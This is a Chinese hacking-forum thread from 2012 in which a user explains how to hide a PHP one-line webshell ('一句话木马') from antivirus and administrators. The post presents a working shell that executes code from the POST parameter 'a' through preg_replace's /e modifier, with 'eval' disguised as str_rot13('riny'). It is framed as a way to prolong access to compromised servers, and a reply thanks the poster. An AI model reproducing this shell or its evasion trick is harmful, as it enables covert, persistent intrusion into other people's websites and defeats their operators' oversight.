找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1023|回复: 1

避开eval关键字

[复制链接]

52

主题

5

回帖

212

牛毛

一级牛人

积分
212
发表于 2012-7-13 17:43:44 | 显示全部楼层 |阅读模式 来自 福建省厦门市
这年头留个php一句话木马,随便就被杀了,但具我所知,杀软和运维人员杀的都是eval函数的关键字,只要避开关键字就能延长木马的寿命,但要怎么避开呢?
首先我想到的是将eval从字符串类型赋给一个变量。
如:

12$func='phpinfo';$func();

这样的确是可以运行phpinfo()的,但是eval却不能通过这样来执行,我马上又想到了assert函数,他有着类似eval的功能,但效果并不理想,完全没有eval用着爽,而且也是公开了的,所以我也就将他放弃了。
还记得《20 Ways to Fuzzing PHP Source Code》里提到的preg_replace代码执行漏洞吗?
没错,利用preg_replace的模式修饰符e(PREG_REPLACE_EVAL)就可以将替换后的字符串作为php代码评估运行(eval函数方式)。
既然是将字符串作为php代码评估运行,哪么完全可以替换或者转码一下eval,这样就可以避开关键字了。
我的一句话木马如下:

1($b4dboy=$_POST['a'])&&@preg_replace('/ad/e','@'.str_rot13('riny').'($a)','add');

使用上跟原来的一句话没有区别,可用常用的客户端连接密码a。
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果。

0

主题

29

回帖

150

牛毛

一级牛人

积分
150
发表于 2012-10-11 17:09:29 | 显示全部楼层 来自 山东省青岛市
不错,学到了。。
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-25 22:12 , Processed in 0.158484 second(s), 38 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表